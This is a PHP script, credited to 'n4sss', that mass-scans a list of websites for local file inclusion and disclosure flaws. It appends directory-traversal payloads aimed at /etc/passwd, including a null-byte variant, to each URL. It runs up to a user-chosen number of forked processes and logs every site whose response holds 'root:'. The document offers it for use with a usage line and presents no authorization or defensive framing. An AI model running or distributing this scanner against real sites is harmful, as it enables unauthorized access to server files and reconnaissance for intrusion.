LFI/LFD Scan

<?php

/*
 * Lfi/Lfd Scan by n4sss
 * greetx -> $T4TUS
 *
 * http://Janissaries.org
 *
 *
 * */


// Executar script sem limitação de tempo
set_time_limit(0);


// função para salvar todo conteudo em um local especifico
// save_content("arquivo.txt", "conteudo que vai dentro");
function save_content($file, $content){
    $fp = fopen($file, "a");
          fwrite($fp, $content."\n");
          fclose($fp);
      }

// Scan dos sites e busca de lfi/lfd
function scan($uri){
    global $log;
    $xpl = array("../../../../../../../../../../../../etc/passwd", "../../../../../../../../../../../../etc/passwd%00");
    foreach($xpl as $xpl_){
        // Concat de url + ../
        $uri_test = $uri.$xpl_;
        print "[] SCANNING -> {$uri}\n";
        $exec = @file_get_contents($uri_test);
        if(!$exec) exit(0);
        if(preg_match("/root:/", $exec)){
            print "[+] LFI VULN FOUND -> {$uri_test}\n";
            save_content($log, "{$uri_test}");
        }
    }
}

function main($list, $threadsn)
{
    $out = 0;
    $thr = $threadsn;
    $ini = 0;
    $fin = $thr - 1;
    while(1){
        $childs = array();
        for ($count = $ini; $count <= $fin; $count++){
            if(empty($list[$count])){
                $out = 1;
                continue;
            }
            $pid = pcntl_fork();
            if ( $pid == -1 ) {
                echo "Fork error\n";
                exit(1);
            } else if ($pid) {
                array_push($childs, $pid);
            } else {
                scan($list[$count]);
                exit(0);
            }
        }
        foreach($childs as $key => $pid){
            pcntl_waitpid($pid, $status);
        }
        if($out == 1){
            return;
        }
        $ini = $fin + 1;
        $fin = $fin + $thr;
    }
}

// Se não estiverem setado os parametros imprima modo de uso:
if(!isset($argv[1], $argv[2], $argv[3])){
    print "--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-\n";
    print "               LFI/LFD SCAN BY N4SSS                \n";
    print "   Use: php {$argv[0]} site_list vuln_log thread    \n";
    print "   Example: php {$argv[0]} sites.txt vuln_log 100   \n";
    print "--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-\n";
    exit(0);
}else{
    $site_list = array_filter(explode("\n", file_get_contents($argv[1])));
    $log = trim($argv[2]);
    $thread = trim($argv[3]);
    main($site_list, $thread);
    print "[+] FINISHED\n";
}
?>


php lfi_scan.php sites.txt log.txt thread